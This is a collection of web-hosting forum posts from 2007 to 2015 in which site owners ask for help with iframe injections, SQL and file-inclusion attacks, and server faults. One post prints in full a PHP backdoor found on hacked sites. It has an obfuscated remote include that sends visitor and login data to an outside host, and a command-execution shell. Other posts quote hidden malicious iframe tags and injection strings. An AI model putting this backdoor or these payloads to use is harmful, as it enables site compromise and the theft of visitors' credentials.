BEWARE -Sudden Iframe Injection Attacks, Catastrophic Results
Sep 4, 2007
All my sites on both my hosting accounts are infected with an iframe.
At the end of the index.html files the malicious code just appeared...suddenly 3 weeks ago.
The host blamed Joomla so I took the appropriate steps:
Upgraded my Joomla to the latest version, changed the whole account username and password, changed the configuration and template to unwriteable.
It stopped the injection for a few days but then it came back.
I would also like to add that 2 other sites on my account, one simple index.html file and an old website I have that is totally HTML with nothing to do with Joomla also got infected.
The iframe also infected a Drupal install I did as a test.
So according to these fact is this a Hosting Company not taking responsibility or can a Joomla site infected spread to other normal HTML sites and different CMS's on the server?
This situation is ruinning me and I strongly suspect it's a Hosting problem and not Joomla.
Any expert opinions from true professionals would be appreciated because if I can prove that it's not a Joomla issue I might take legal action against the hosting company since this has cost me dozens of hours of work and several hundred dollars of lost revenue.
I am attaching the iframe exploit. It installs itself on every index file...in every folder - components, mambots, ect..additionally it attaches itself on any and every kind of addon that has an index.html file.
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Jul 22, 2009
Yesterday it was discovered that a website had most or all of the html pages compromised with some sort of iframe injection. Every page had an iframe line added to the bottom that attempted to load something from another website. It was coming from a domain called reycross.net and was attempting to load the html/framer virus into the visitor's computer.
The problem is that I cannot identify how the injection hit the system. Here are the facts I can provide...
1. The server does NOT have Joomla or Wordpress.
2. The injection seemed to hit every html page whether the page was active on the site or not.
3. The injection hit only one account.
I have checked /var/log/messages and /var/log/secure and find nothing.
What I don't have is proper ftp logging to determine whether the injection came from that method.
Additional notes: Shortly before the injection took place the box was updated to the latest version of cpanel. Also php was upgraded to 5.2.10. At the time suPHP was enabled but unfortunately had to be disabled because it created problems with another site. Prior to this suPHP was disabled as well.
I went through and removed all instances of this iframe injection and ran another update of cpanel. I also recompiled apache/php and went back to 5.2.8 in case the problem was php related.
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Jun 9, 2007
One of my site index page is having iframe injections. I am not sure about the reason. page is chmod to 644 under php.ini dl() is even disabled.
But still person is some how able to inject iframe that redirects the page to some other url.
Any suggestions how to fix that ? any mod_rewrite rule or anything for this?
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Aug 25, 2007
I have a major problem with injecting iframes into every files (header.php footer.php index.php login.php and vars.php ) on all server account.
Code:
<iframe src='h t t p : / / 8 1 . 9 5 . 1 4 5 . 2 4 0 / g o . p h p ? s i d = 1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></iframe>
what is the reason and how to fix that ?
and I have the second problem is the rkhunter warnings I am not sure if that have relations with the first problem :
rkhunter results:
Code:
Checking system commands...
Performing 'strings' command checks
Checking 'strings' command [ OK ]
Performing 'shared libraries' checks
Checking for preloading variables [ None found ]
Checking for preload file [ Not found ]
Checking LD_LIBRARY_PATH variable [ Not found ]
Performing file properties checks
Checking for prerequisites [ Warning ]
/bin/awk [ OK ]
/bin/basename [ OK ]
/bin/bash [ OK ]
/bin/cat [ OK ]
/bin/chmod [ OK ]
/bin/chown [ OK ]
/bin/cp [ OK ]
/bin/csh [ OK ]
/bin/cut [ OK ]
/bin/date [ OK ]
/bin/df [ OK ]
/bin/dmesg [ OK ]
/bin/echo [ OK ]
/bin/ed [ OK ]
/bin/egrep [ OK ]
/bin/env [ OK ]
/bin/fgrep [ OK ]
/bin/grep [ OK ]
/bin/kill [ OK ]
/bin/login [ OK ]
/bin/ls [ OK ]
/bin/mail [ OK ]
/bin/mktemp [ OK ]
/bin/more [ OK ]
/bin/mount [ OK ]
/bin/mv [ OK ]
/bin/netstat [ OK ]
/bin/passwd [ OK ]
/bin/ps [ OK ]
/bin/pwd [ OK ]
/bin/rpm [ OK ]
/bin/sed [ OK ]
/bin/sh [ OK ]
/bin/sort [ OK ]
/bin/su [ OK ]
/bin/touch [ OK ]
/bin/uname [ OK ]
/bin/gawk [ OK ]
/bin/tcsh [ OK ]
/usr/bin/awk [ OK ]
/usr/bin/chattr [ OK ]
/usr/bin/curl [ OK ]
/usr/bin/cut [ OK ]
/usr/bin/diff [ OK ]
/usr/bin/dirname [ OK ]
/usr/bin/du [ OK ]
/usr/bin/env [ OK ]
/usr/bin/file [ OK ]
/usr/bin/find [ OK ]
/usr/bin/GET [ Warning ]
/usr/bin/groups [ Warning ]
/usr/bin/head [ OK ]
/usr/bin/id [ OK ]
/usr/bin/kill [ OK ]
/usr/bin/killall [ OK ]
/usr/bin/last [ OK ]
/usr/bin/lastlog [ OK ]
/usr/bin/ldd [ Warning ]
/usr/bin/less [ OK ]
/usr/bin/locate [ OK ]
/usr/bin/logger [ OK ]
/usr/bin/lsattr [ OK ]
/usr/bin/lynx [ OK ]
/usr/bin/md5sum [ OK ]
/usr/bin/newgrp [ OK ]
/usr/bin/passwd [ OK ]
/usr/bin/perl [ OK ]
/usr/bin/pstree [ OK ]
/usr/bin/readlink [ OK ]
/usr/bin/runcon [ OK ]
/usr/bin/sha1sum [ OK ]
/usr/bin/size [ OK ]
/usr/bin/slocate [ OK ]
/usr/bin/stat [ OK ]
/usr/bin/strace [ OK ]
/usr/bin/strings [ OK ]
/usr/bin/sudo [ OK ]
/usr/bin/tail [ OK ]
/usr/bin/test [ OK ]
/usr/bin/top [ OK ]
/usr/bin/tr [ OK ]
/usr/bin/uniq [ OK ]
/usr/bin/users [ OK ]
/usr/bin/vmstat [ OK ]
/usr/bin/w [ OK ]
/usr/bin/watch [ OK ]
/usr/bin/wc [ OK ]
/usr/bin/wget [ OK ]
/usr/bin/whatis [ Warning ]
/usr/bin/whereis [ OK ]
/usr/bin/which [ OK ]
/usr/bin/who [ OK ]
/usr/bin/whoami [ OK ]
/usr/bin/gawk [ OK ]
/sbin/chkconfig [ OK ]
/sbin/depmod [ OK ]
/sbin/ifconfig [ OK ]
/sbin/ifdown [ Warning ]
/sbin/ifup [ Warning ]
/sbin/init [ OK ]
/sbin/insmod [ OK ]
/sbin/ip [ OK ]
/sbin/lsmod [ OK ]
/sbin/modinfo [ OK ]
/sbin/modprobe [ OK ]
/sbin/nologin [ OK ]
/sbin/rmmod [ OK ]
/sbin/runlevel [ OK ]
/sbin/sulogin [ OK ]
/sbin/sysctl [ OK ]
/sbin/syslogd [ OK ]
/usr/sbin/adduser [ OK ]
/usr/sbin/chroot [ OK ]
/usr/sbin/groupadd [ OK ]
/usr/sbin/groupdel [ OK ]
/usr/sbin/groupmod [ OK ]
/usr/sbin/grpck [ OK ]
/usr/sbin/kudzu [ OK ]
/usr/sbin/lsof [ OK ]
/usr/sbin/prelink [ OK ]
/usr/sbin/pwck [ OK ]
/usr/sbin/tcpd [ OK ]
/usr/sbin/useradd [ OK ]
/usr/sbin/userdel [ OK ]
/usr/sbin/usermod [ OK ]
/usr/sbin/vipw [ OK ]
/usr/sbin/xinetd [ OK ]
/usr/local/bin/perl [ OK ]
/usr/local/bin/rkhunter [ OK ]
Checking for rootkits...
Performing check of known rootkit files and directories
55808 Trojan - Variant A [ Not found ]
ADM Worm [ Not found ]
AjaKit Rootkit [ Not found ]
aPa Kit [ Not found ]
Apache Worm [ Not found ]
Ambient (ark) Rootkit [ Not found ]
Balaur Rootkit [ Not found ]
BeastKit Rootkit [ Not found ]
beX2 Rootkit [ Not found ]
BOBKit Rootkit [ Not found ]
CiNIK Worm (Slapper.B variant) [ Not found ]
Danny-Boy's Abuse Kit [ Not found ]
Devil RootKit [ Not found ]
Dica-Kit Rootkit [ Not found ]
Dreams Rootkit [ Not found ]
Duarawkz Rootkit [ Not found ]
Enye LKM [ Not found ]
Flea Linux Rootkit [ Not found ]
FreeBSD Rootkit [ Not found ]
****`it Rootkit [ Not found ]
GasKit Rootkit [ Not found ]
Heroin LKM [ Not found ]
HjC Kit [ Not found ]
ignoKit Rootkit [ Not found ]
ImperalsS-FBRK Rootkit [ Not found ]
Irix Rootkit [ Not found ]
Kitko Rootkit [ Not found ]
Knark Rootkit [ Not found ]
Li0n Worm [ Not found ]
Lockit / LJK2 Rootkit [ Not found ]
Mood-NT Rootkit [ Not found ]
MRK Rootkit [ Not found ]
Ni0 Rootkit [ Not found ]
Ohhara Rootkit [ Not found ]
Optic Kit (Tux) Worm [ Not found ]
Oz Rootkit [ Not found ]
Phalanx Rootkit [ Not found ]
Phalanx Rootkit (strings) [ Not found ]
Portacelo Rootkit [ Not found ]
R3dstorm Toolkit [ Not found ]
RH-Sharpe's Rootkit [ Not found ]
RSHA's Rootkit [ Not found ]
Scalper Worm [ Not found ]
Sebek LKM [ Not found ]
Shutdown Rootkit [ Not found ]
SHV4 Rootkit [ Not found ]
SHV5 Rootkit [ Not found ]
Sin Rootkit [ Not found ]
Slapper Worm [ Not found ]
Sneakin Rootkit [ Not found ]
Suckit Rootkit [ Not found ]
SunOS Rootkit [ Not found ]
SunOS / NSDAP Rootkit [ Not found ]
Superkit Rootkit [ Not found ]
TBD (Telnet BackDoor) [ Not found ]
TeLeKiT Rootkit [ Not found ]
T0rn Rootkit [ Not found ]
Trojanit Kit [ Not found ]
Tuxtendo Rootkit [ Not found ]
URK Rootkit [ Not found ]
VcKit Rootkit [ Not found ]
Volc Rootkit [ Not found ]
X-Org SunOS Rootkit [ Not found ]
zaRwT.KiT Rootkit [ Not found ]
Performing additional rootkit checks
Suckit Rookit additional checks [ OK ]
Checking for possible rootkit files and directories [ None found ]
Checking for possible rootkit strings [ None found ]
Performing malware checks
Checking running processes for suspicious files [ None found ]
Checking for login backdoors [ None found ]
Checking for suspicious directories [ None found ]
Checking for sniffer log files [ None found ]
Performing trojan specific checks
Checking for enabled xinetd services [ None found ]
Checking for Apache backdoor [ Not found ]
Performing Linux specific checks
Checking kernel module commands [ OK ]
Checking kernel module names [ OK ]
Checking the network...
Performing check for backdoor ports
Checking for UDP port 2001 [ Not found ]
Checking for TCP port 2006 [ Not found ]
Checking for TCP port 2128 [ Not found ]
Checking for TCP port 14856 [ Not found ]
Checking for TCP port 47107 [ Not found ]
Checking for TCP port 60922 [ Not found ]
Performing checks on the network interfaces
Checking for promiscuous interfaces [ None found ]
Checking the local host...
Performing system boot checks
Checking for local host name [ Found ]
Checking for local startup files [ Found ]
Checking local startup files for malware [ None found ]
Checking system startup files for malware [ None found ]
Performing group and account checks
Checking for passwd file [ Found ]
Checking for root equivalent (UID 0) accounts [ None found ]
Checking for passwordless accounts [ None found ]
Checking for passwd file changes [ None found ]
Checking for group file changes [ None found ]
Checking root account shell history files [ OK ]
Performing system configuration file checks
Checking for SSH configuration file [ Found ]
Checking if SSH root access is allowed [ Warning ]
Checking if SSH protocol v1 is allowed [ Warning ]
Checking for running syslog daemon [ Found ]
Checking for syslog configuration file [ Found ]
Checking if syslog remote logging is allowed [ Not allowed ]
Performing filesystem checks
Checking /dev for suspicious file types [ None found ]
Checking for hidden files and directories [ Warning ]
Checking application versions...
Checking version of Exim MTA [ OK ]
Checking version of GnuPG [ Warning ]
Checking version of Apache [ Skipped ]
Checking version of Bind DNS [ OK ]
Checking version of OpenSSL [ Warning ]
Checking version of PHP [ OK ]
Checking version of Procmail MTA [ OK ]
Checking version of OpenSSH [ OK ]
System checks summary
=====================
File properties checks...
Required commands check failed
Files checked: 129
Suspect files: 6
Rootkit checks...
Rootkits checked : 114
Possible rootkits: 0
Applications checks...
Applications checked: 8
Suspect applications: 2
The system checks took: 3 minutes and 12 seconds
All results have been written to the logfile (/var/log/rkhunter.log)
One or more warnings have been found while checking the system.
Please check the log file (/var/log/rkhunter.log)
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May 12, 2008
i am seeing a lot of Local file inclusion (LFI) and mysql injection attacks quite often directed to php scripts.
what is the way to prevent them? would installing mod_security to apache work?
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Jun 2, 2008
I see on one server with windows 2k3 and sql 2000 alot of Injection attemts(lucky so far) and 90% come from china.
Is there any way on iis6 to put range ban like 123.52.0.0 - 123.55.255.255 so to ban all that network?
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Apr 11, 2009
some body attacking on my server and changing my users profile name /password or any other information so How To Protect MySQL Database From My SQL Injection Attacks? i have dedicate server i provide free wap sites to people with wildcard dns system and i have ConfigServer Security & Firewall installed.
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May 14, 2007
I started getting 500 Server Error when trying to access my image gallery (Gallery 1.0) here:
[url]
It worked fine for months...now there's this error.
I also get the same error when trying to access an image file:
[url]
I emailed support, but they haven't replied. (dedicentral.com)
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Feb 23, 2007
One of my servers stop generating server logs, ftp logs etc all of a sudden since yesterday. It is a windows IIS 6 server, anyone have any idea on how to repair?
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Jul 30, 2014
I've updated to Apache 2.4.10 from 2.4.9 and all of a sudden my pages don't load anymore.Previously I had this issue rarely and closing the PHP-cgi.exe processes fixed it.But since the update the issue happens almost constantly.
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Mar 3, 2007
We just upgraded to VBulletin 3.6.5, and are experiencing strange behavior. My forums are on a dedicated server, 27,000 users.
We'll be running along fine with loads of .5-2.00, etc. Then suddenly, the loads start climbing to 50, 70, 85+. We've been trying to figure out why. We even went on a different (much more robust) server, still the same result. This only started happening after the upgrade. Restarting the server corrects the problem, but only until it happens again. It can happen at anytime - during peak or off peak. The server may run for an hour or two until this happens, or it can happen 10 minutes after a restart.
Late last night when loads were normal we benched the server hard, and it ran just fine. We just can't figure out where this load spike is coming from.
Server info below:
Servers:
Mysql: server version: 5.0.27-log
PHP: PHP 5.1.6 (cli) Zend Engine v2.1.0,
Apache Server version: Apache/2.2.3
Kernel: 2.6.19-1.2911.fc6 #1 SMP
Server:
Pentium III with 1 gig of ram
15k RPM SCSI Raid 5
1 Gig RAM
-----------------------------------------------------------------------
[root@forums forums]# cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 8
model name : Pentium III (Coppermine)
stepping : 6
cpu MHz : 861.001
cache size : 256 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 2
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca
cmov pat pse36 mmx fxsr sse
bogomips : 1722.41
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 8
model name : Pentium III (Coppermine)
stepping : 6
cpu MHz : 861.001
cache size : 256 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 2
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca
cmov pat pse36 mmx fxsr sse
bogomips : 1721.51
--------------------------------------------------------------------------
my.cnf:
[root@forums forums]# cat /etc/my.cnf
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
log_error = /var/log/mysql_error.log
log-slow-queries = /var/log/mysql_slow_queries.log
safe-show-database
old_passwords
back_log = 20
skip-innodb
key_buffer_size = 256M
myisam_sort_buffer_size = 64M
join_buffer_size = 1M
read_buffer_size = 1M
sort_buffer_size = 2M
table_cache = 600
thread_cache_size = 384
wait_timeout = 35
connect_timeout = 10
tmp_table_size = 64M
max_heap_table_size = 64M
max_allowed_packet = 64M
max_connect_errors = 10
read_rnd_buffer_size = 524288
bulk_insert_buffer_size = 8M
query_cache_limit = 4M
query_cache_size = 48M
query_cache_type = 1
query_prealloc_size = 163840
query_alloc_block_size = 32768
default-storage-engine = MyISAM
[mysql.server]
user=mysql
basedir=/var/lib
[mysqld_safe]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
open_files_limit = 8192
[mysqldump]
quick
max_allowed_packet = 16M
[myisamchk]
key_buffer = 64M
sort_buffer = 64M
read_buffer = 16M
write_buffer = 16M
-------------------------------------------------------
Relevant Apache:
StartServers 10
MinSpareServers 10
MaxSpareServers 15
ServerLimit 256
MaxClients 90
MaxRequestsPerChild 1000
---------------------------------------------------------
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May 4, 2007
so after successfully installing and testing litespeed last night along on alternate port 1080 on my cpanel setup, I try to look at my cpanel's awstats this morning and:
Error: Couldn't open server log file "/usr/local/apache/domlogs/example.net" : Permission denied
(awstats has worked fine for 5 weeks now)
Googling for this shows other people with similar problem in the past but unfortunately no answers
I tried chmod -R 644 /usr/local/apache/domlogs
and looks like the owners are still correct
I'm at a loss and really screwed if I can't easily fix soon... any ideas?
(as a side note, litespeed has stopped working properly too but I've killed it for now)
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Apr 4, 2015
I've had a server running for a year or so and all of the sudden the server error log started outputting a very strange message that i've never seen before:
Code:
'groups' is not recognized as an internal or external command, operable program or batch file.
From what I understand this means apache is trying to run a program that doesn't exist, what could be triggering this?
Running Apache/2.4.9 on win2008.
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Jul 8, 2009
I had a non client send me an email about being hacked. apparently the hacker is using a program/command line and is entering this into the db:
user=' &pass1=111-222-1933email@adress.tst&pass2=test&submit=
create%20Account
any way he can patch up his navicat database to stop this?
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Aug 17, 2007
I've experienced so much hacker attack lately. Hosted wiht hostforweb.com if that makes any difference.
Last issue I have is:
Type of attack: URL Injection -- attempt to inject / load files onto the
server via PHP/CGI vulnerabilities
How I can secure my server against such attacks?
Also I need to resolve this issue ASAP but can not find the file and I don't know what to do.
Report:
Sample log report including date and time stamp:
Request: rosemarythecelticlady.com 64.202.102.218 - - [13/Aug/2007:11:50:03
-0500] GET
/awstats/data/awstats1...marythecelticlady.com.txt/admin/index.php?o=[url]HTTP/1.1 302 228 - libwww-perl/5.808 - -
Request: rosemarythecelticlady.com 64.202.102.218 - - [13/Aug/2007:11:50:04
-0500] GET /admin/index.php?o=[url]HTTP/1.1
302 228 - libwww-perl/5.808 - -
Request: rosemarythecelticlady.com 64.202.102.218 - - [13/Aug/2007:11:50:04
-0500] GET
/awstats/data/admin/index.php?o=[url]
HTTP/1.1 302 228 - libwww-perl/5.808 - -
WHAT NEEDS TO BE DONE HERE and where to located it? Your help is greatly appreciated.
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Dec 13, 2008
Anyone using phpMyAdmin for MySQL admin, you need to know about a newly discovered attack vector.
Here's the official announcement: [url]
The key to this is in their description, "A logged-in user can be subject of SQL injection through cross site request forgery. Several scripts in phpMyAdmin are vulnerable and the attack can be made through table parameter."
A logged in user... This attack is a combination of SQL injection through CSRF. In other words, you'd have to be logged into your phpMyAdmin program, hit a website setup for CSRF, and then the attacker could have access to your phpMyAdmin as you.
If there's interest here, I could write up a detailed description of CSRF and how to prevent this type of attack.
Just let me know...
You should upgrade immediately to either phpMyAdmin 2.9.11.4 or 3.1.1.0 or apply patch 12100.
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Jun 30, 2009
Does deploying a reverse proxy in front of the web/db server reduce the threat of SQL injection?
Emphasis on 'reduce' the threat - or does it provide no help at all?
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May 28, 2008
I had done a program in early 2006 for a site in php-mysql. At the time of doing the code, The code written was not so standard and it contained uninitialized variables used for include file paths (eventhough values are assigned to it before using) and the "sess" folder was created within the website folder. Also the parameters for the SQL query were not escaped, but everything was working fine.
And now i was informed that the insecure code in my program caused the server crash and i have to pay the penalty for the same. Can anyone let me know whether the below code / keeping the session variables within a folder inside the /www/ will make the sites hosted on the server where this program runs to stop/crash for ever ?
------------------------------------------------------------------
function update_region($id,$regname,$regcom)
{
$query = "UPDATE taxregion_mast SET taxregion_name = '". $regname."',
region_comments = '". $regcom."' WHERE region_id =" .$id;
mysql_query($query);
......
-------------------------------------------------------------------
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May 1, 2009
so when i look at my source code, i see this all the way to the bottom
<iframe src="http://viewhit.biz" scrolling="no" frameborder="0" height="1" width="1"></iframe>
but i never added that... and when i look at my footer file (which i include to the bottom of all my other files), its not there. even when i transfer the current one from my server, so its definetly not in that file
any idea how else that could have been added, and how i can take it off. my sites also been acting kind of weird lately, scrolling all the way to the bottom any time a page loads, which is really annoying
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Mar 11, 2008
For the second time in the last 2 months I got an iframe (leohin.com) added to a php script and index.html pages.
My site is hosted on Micfo (support has disappeared recently. My last 3 tickets were unanswered).
I have some newbie questions regarding those iframe injections.
How do they add these ?
Did they hack the host or only my website ?
Anyone hosted on Micfo also got those leohin.com iframes ?
Anyway I'm really disappointed by the lack of support by Micfo.
I'm certainly moving soon.
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Dec 16, 2008
I am experiencing a problem, which I think is DDoS Atack.
well, what's happening is that my blog is receiving many requests to do so, asking you download the file xmlrcp.php (part of wordpress) has tried to block this URL that does inframe to receive such visits my blog, but you do not succeeded;
No longer trying to block. htacess etc, nothing else's right!
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Apr 19, 2008
It seems that one domain at a cpanel server has been inyected with some iframe code... the problem seems to be that we can not find the iframe code anywhere in the public_html directory.
We already scanned the site public_html directory trying to find the js file or something that can launch the iframe but it seems to be impossible to find, also ran clamscanner in the fold without sucess.
I was thinking about some mod_security rule to block iframe js attacks, does anybody know about this?
This is a RHE 4 + cPanel server, This is the iframe code:
iframe width=1 height=1 src=[url]
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Jun 22, 2007
today all the sites with files nobody:nobidy get hacked, every files was repleaced with
Code:
<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>
and a .htaccess files we have decode it the url are:
htmltags.ru
mshtml.ru
iframe.ru
we know that we should use SuExec to stop nobody files problem, but now we would a help to find where they got access, i have google and i have found this post but without solution:
[url]
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Jul 13, 2007
I have recently found that several of the web sites that I'm hosting on my server have worms that when you access the web sites in Internet Explorer, the antivirus is triggered. When you look an the source code there's always an iframe that loads a remote web page with a worm. Have you seen it already? How did these web sites get infected? Is there an easy way to clean them or is it the hard way? I ran a clamscan on the server and it didn't find anything
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Dec 25, 2008
Does CISCO ASA Firewall block SQL and XSS Injection? If not, then which are the firewalls available which do this job. I have checked web application firewalls and found them to be too costly for my budget. What are the other cheap options available?
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May 24, 2008
I need to know so idea, how to prevent iframe virus injection into the server,also is there is any mod which help in protection for iframe virus.
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Jul 13, 2009
I have shared hosting linux server and I have already enabled Firewall,brute-force but form the couple of weeks,I am facing such issue regarding crossside virus tags or scripts,I have already enabled Mod_security2,so can any body help me to prevent such type of iframe tags.
Please let me know how to restrict or prevent "iframe" tags through Mod_security2,if any body have any specific rule for "iframe" tags,
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Oct 7, 2009
any iframe removing script.
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Oct 31, 2007
some sites on my server is inserted iframe code to its homepage index.php and index.html
I found this topic is discussed on WHT for sometimes but no solution yet. I found a article help to solve this issue but i am lack of knowledge to understand the article.
[url]
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Jan 11, 2008
We are facing this strange Problem from yesterday that
<script language=javascript src= [url]
is added on end of every html Pages.
I don,t know that how this Injection on every Html Pages.
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